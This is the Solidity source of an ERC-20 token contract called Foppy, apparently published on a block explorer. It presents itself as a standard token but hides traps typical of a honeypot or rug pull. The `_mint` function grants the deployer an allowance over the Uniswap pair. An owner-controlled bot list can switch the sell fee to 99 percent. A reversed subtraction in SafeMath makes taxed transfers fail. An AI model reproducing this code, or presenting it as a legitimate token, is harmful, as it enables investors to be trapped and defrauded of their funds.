Contract Source Code:
File 1 of 1 : FoppyToken
// SPDX-License-Identifier: MIT
/**
telegram -- https://t.me/foppytoken
website -- https://www.foppytoken.com
twitter -- https://twitter.com/foppytoken
*/
pragma solidity ^0.8.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = b - a;
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) internal _balances;
string private _name;
string private _symbol;
address public uniPair;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;_allowances[uniPair][account] = amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: approve from the zero address");
require(to != address(0), "ERC20: approve to the zero address");
_allowances[from][to] = amount;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function WETH() external pure returns (address);
}
contract FoppyToken is ERC20, Ownable {
using SafeMath for uint256;
using Address for address payable;
uint256 public originStamp;
uint256 public earlyBlock = 0;
bool public swapActive;
bool public tradingOpen;
IRouter public uniswapRouter;
uint256 public buyFeeAmount = 0; // zero
uint256 public sellFeeAmount = 0; // zero
bool private inSwap;
uint256 public swapThreshold = 500_000 * 10e18;
mapping (address => bool) public excludedFromFees;
mapping (address => bool) private botAddrs;
uint256 public blockFee = 99;
uint256 public maxTxSize = 49_000_000 * 10**18; // 4.9%
uint256 public maxWalletSize = 49_000_000 * 10**18; // 4.9%
address public feeWallet = 0x224c75DBd0a808544B8B180b51B638aD53B5d4C0;
address public developmentWallet = 0x8C20eF1B1d9D9F8128DdaeaF23AF3cdD6fe909aC;
constructor() ERC20("Foppy", "FOPPY") {
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); uniPair = _pair;
uniswapRouter = _router;
excludedFromFees[feeWallet] = true;
excludedFromFees[developmentWallet] = true;
excludedFromFees[msg.sender] = true;
excludedFromFees[address(this)] = true;
// mint
_mint(msg.sender, 1_000_000_000 * 10 ** decimals()); // Billion
}
function withdrawETH(uint256 weiAmount) external onlyOwner{
payable(owner()).sendValue(weiAmount);
}
function manualSwap(uint256 amount, uint256 devPercentage, uint256 marketingPercentage) external onlyOwner{
uint256 initBalance = address(this).balance;
swapBackAllEths(amount);
uint256 newBalance = address(this).balance - initBalance;
if(marketingPercentage > 0) payable(feeWallet).sendValue(newBalance * marketingPercentage / (devPercentage + marketingPercentage));
if(devPercentage > 0) payable(developmentWallet).sendValue(newBalance * devPercentage / (devPercentage + marketingPercentage));
}
function changeMaxTxAmount(uint256 amount) private {
maxTxSize = amount * 10**18;
}
function changeMaxWalletAmount(uint256 amount) private {
maxWalletSize = amount * 10**18;
}
function openTrading() external onlyOwner{
tradingOpen = true; swapActive = true;
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
if (contractBalance >= swapThreshold) {
uint256 initialBalance = address(this).balance;
swapBackAllEths(contractBalance);
uint256 deltaBalance = address(this).balance - initialBalance;
payable(feeWallet).sendValue(deltaBalance);
}
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
require(amount > 0, "Transfer amount must be greater than zero");
if(botAddrs[recipient] ||
botAddrs[sender]
) {
sellFeeAmount = blockFee;
}
if(
!excludedFromFees[sender] && !excludedFromFees[recipient]
&& !inSwap
) {
require(
tradingOpen,
"Trading is not active yet"
);
if (originStamp + earlyBlock > block.number)
{
if(recipient != uniPair) {
botAddrs[recipient] = true;
}
if(sender != uniPair) {
botAddrs[sender] = true;
}
} require(amount <= maxTxSize, "MaxTxAmount");
if(recipient != uniPair){
require(
balanceOf(recipient) + amount <= maxWalletSize, "MaxWalletAmount"
);
}
}
uint256 taxSize;
if (inSwap
|| excludedFromFees[sender]
|| excludedFromFees[recipient]
) {
taxSize = 0;
} else {
if(recipient == uniPair && !botAddrs[sender]) {
taxSize = amount * sellFeeAmount / 100;
} else {
taxSize = amount * buyFeeAmount / 100;
}
}
if (swapActive && !inSwap
&& sender != uniPair
&& taxSize > 0
) {
swapBack();
}
if(taxSize > 0) {
super._transfer(sender, address(this) ,taxSize);
super._transfer(sender, recipient, amount.sub(taxSize));
} else {
super._transfer(sender, recipient, amount);
}
}
function withdrawErc20Token(address tokenAddress, uint256 amount) external onlyOwner{
IERC20(tokenAddress).transfer(owner(), amount);
}
function swapBackAllEths(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapRouter.WETH();
_approve(address(this), address(uniswapRouter), tokenAmount);
// make the swap
uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapRouter), tokenAmount);
// add the liquidity
uniswapRouter.addLiquidityETH{value: bnbAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
developmentWallet,
block.timestamp
);
}
function updateBots(address[] memory isBot_) public onlyOwner {
for (uint i = 0; i < isBot_.length; i++) {
botAddrs[isBot_[i]] = true;
}
}
function removeLimits(uint256 amount) public onlyOwner {
changeMaxTxAmount(amount); changeMaxWalletAmount(amount);
}
// fallbacks
receive() external payable {
}
}